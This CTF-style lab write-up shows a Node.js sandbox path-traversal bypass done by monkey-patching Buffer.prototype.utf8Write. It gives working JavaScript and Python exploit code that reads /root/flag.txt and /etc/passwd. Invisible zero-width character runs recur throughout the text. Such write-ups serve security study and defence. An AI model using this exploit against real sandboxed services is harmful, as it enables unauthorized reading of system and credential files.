← Back to Writeups
CUSTOMMediumWeb

Lab 260 — VaultDrop — Path Traversal via Buffer.prototype.utf8Write Monkey-Patching

XESXOR9/10/20265 min read
#web#custom#medium#buffer_utf8write_monkey_patch#path_resolve_bypass#prototype_method_override#startswith_check_bypass

Lab 260 — VaultDrop — Path Traversal via Buffer.prototype.utf8Write Monkey-Patching

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-15 | Status: Solved Techniques: buffer_utf8write_monkey_patch, path_resolve_bypass, prototype_method_override, startswith_check_bypass

Summary

Task: Node.js file-sharing platform with workspace automations that run JavaScript in a sandbox; readFile API validates paths via path.resolve() + startsWith(). Solution: Monkey-patched Buffer.prototype.utf8Write to inject a traversal path after path.resolve() normalization, bypassing the startsWith check while the OS resolves ../ components to read /root/flag.txt.

Lab 260 — VaultDrop — Path Traversal via Buffer.prototype.utf8Write Monkey-Patching — HackAdvisor

Description

VaultDrop is a team file-sharing platform where organizations can upload, organize, and collaborate on documents within secure workspaces. The platform features workspace automations that let users write custom JavaScript scripts to process and transform their files. Each workspace is isolated with strict access controls to prevent users from accessing files outside their designated directories. The automation sandbox provides a readFile API that validates paths using path.resolve() before reading. Your goal is to bypass the path traversal protection in the automation sandbox and read a sensitive file that should be inaccessible to regular users. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express file-sharing platform with workspace automations. Users can write JavaScript code that runs in a sandbox with a readFile(path) API. The sandbox validates file paths using path.resolve() followed by a startsWith() check to prevent path traversal. The goal is to bypass this protection and read /root/flag.txt.

Analysis

Reconnaissance

  • Stack: Node.js + Express (identified via X-Powered-By: Express header)
  • Credentials: user@test.com / password123
  • Key pages: Dashboard with 4 workspaces; Workspace 2 ("Engineering Docs") is owned by the user and has an Automations feature
  • Key endpoint: POST /workspace/2/automations/run-code — accepts JSON {"code": "..."} and executes JavaScript in a sandbox
  • Workspace directory: /app/data/workspaces/2/
  • Decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments on every page — a honeypot for automated solvers ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Sandbox Environment

The automations page at /workspace/2/automations provides a code editor. The sandbox exposes the following globals:

  • File API: readFile(path), listFiles()
  • Utilities: console.log(), Buffer, JSON, Math, Date
  • Types: String, Array, Object, RegExp, Map, Set
  • Blocked: require, process, global — all undefined

Path Validation Logic

The readFile() function implements path traversal protection:

  1. path.resolve(workspaceDir, userInput) — normalizes the path, resolving all ../ components
  2. resolved.startsWith(workspaceDir) — checks the resolved path starts with /app/data/workspaces/2/
  3. fs.readFileSync(resolved, 'utf8') — reads the file if the check passes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Basic traversal attempts like readFile("../../../etc/passwd") return "Access denied: path outside workspace directory" because path.resolve() normalizes the ../ components, producing /etc/passwd which fails the startsWith check.

Discovering the Attack Vector

By instrumenting Buffer.prototype.utf8Write and Buffer.prototype.utf8Slice, we can observe how path.resolve() constructs its return value internally:

javascript
// Instrumentation to trace Buffer.prototype.utf8Write calls
var origWrite = Buffer.prototype.utf8Write;
var callCount = 0;
Buffer.prototype.utf8Write = function(str, offset, length) {
    callCount++;
    console.log("utf8Write call #" + callCount + ": str=" + JSON.stringify(str) + " offset=" + offset);
    return origWrite.call(this, str, offset, length);
};
readFile('architecture-overview.txt');
Buffer.prototype.utf8Write = origWrite;

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output:

utf8Write call #1: str="/app/data/workspaces/2/architecture-overview.txt" offset=0

This reveals that path.resolve() internally calls Buffer.prototype.utf8Write exactly once to write the resolved path string into a buffer. It then calls utf8Slice to read the buffer back into a JavaScript string. Since Buffer is exposed in the sandbox, we can monkey-patch utf8Write to replace the resolved path with an arbitrary one.

Solution

The Attack: Buffer.prototype.utf8Write Monkey-Patching

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key insight is that by monkey-patching Buffer.prototype.utf8Write, we can inject content after path.resolve() has done its normalization but before the result is returned as a JavaScript string. This means we can craft a path that:

  1. Passes the startsWith check — it literally starts with /app/data/workspaces/2/
  2. Contains ../ traversal components — the OS resolves these when fs.readFileSync opens the file

The crafted path: /app/data/workspaces/2/../../../../root/flag.txt ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • startsWith("/app/data/workspaces/2/") → true (the prefix matches)
  • OS resolution: /app/data/workspaces/2/../../../../root/flag.txt → /root/flag.txt

Normally path.resolve() would strip the ../ components, but our monkey-patch injects them into the output of path.resolve(), not the input. The startsWith check sees the un-normalized string, while the OS normalizes it when opening the file.

Exploit Code (JavaScript — submitted to sandbox)

javascript
var origWrite = Buffer.prototype.utf8Write;
var targetPath = "/app/data/workspaces/2/../../../../root/flag.txt";
Buffer.prototype.utf8Write = function(str, offset, length) {
    if (str.includes('/app/data/workspaces') && !str.includes('..')) {
        var written = origWrite.call(this, targetPath, offset, targetPath.length);
        return written;
    }
    return origWrite.call(this, str, offset, length);
};
try {
    var content = readFile('architecture-overview.txt');
    console.log(content);
} catch(e) {
    console.log('Error: ' + e.message);
}
Buffer.prototype.utf8Write = origWrite;

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

How the condition works:

  • str.includes('/app/data/workspaces') — matches only the path.resolve() output (which contains the workspace path)
  • !str.includes('..') — ensures we intercept the original resolved path (which has no ../ since it's already normalized), not our own injected path on any recursive calls
  • The original utf8Write is restored after execution to avoid side effects

Automated Exploit (Python)

python
#!/usr/bin/env python3
import requests
import json

TARGET = "https://d3806f2b-a539-4437-8b59-3be63098c4b7.labs.hackadvisor.io"
session = requests.Session()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login
session.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

def try_read(target_path):
    """Read arbitrary file via Buffer.prototype.utf8Write monkey-patching"""
    payload_path = f"/app/data/workspaces/2/../../../../{target_path.lstrip('/')}"
    
    code = f"""
var origWrite = Buffer.prototype.utf8Write;
var targetPath = "{payload_path}";
Buffer.prototype.utf8Write = function(str, offset, length) {{
    if (str.includes('/app/data/workspaces') && !str.includes('..')) {{
        var written = origWrite.call(this, targetPath, offset, targetPath.length);
        return written;
    }}
    return origWrite.call(this, str, offset, length);
}};
try {{
    var content = readFile('architecture-overview.txt');
    console.log(content);
}} catch(e) {{
    console.log('Error: ' + e.message);
}}
Buffer.prototype.utf8Write = origWrite;
"""
    
    resp = session.post(
        f"{TARGET}/workspace/2/automations/run-code",
        json={"code": code}
    )
    return resp.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read the flag
result = try_read("/root/flag.txt")
print("\n".join(result.get("output", [])))

Execution

Submitted the exploit code via POST to /workspace/2/automations/run-code. The sandbox executed the monkey-patched code, and the output contained the contents of /root/flag.txt:

FLAG{REDACTED}

Also confirmed arbitrary file read by successfully reading /etc/passwd. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍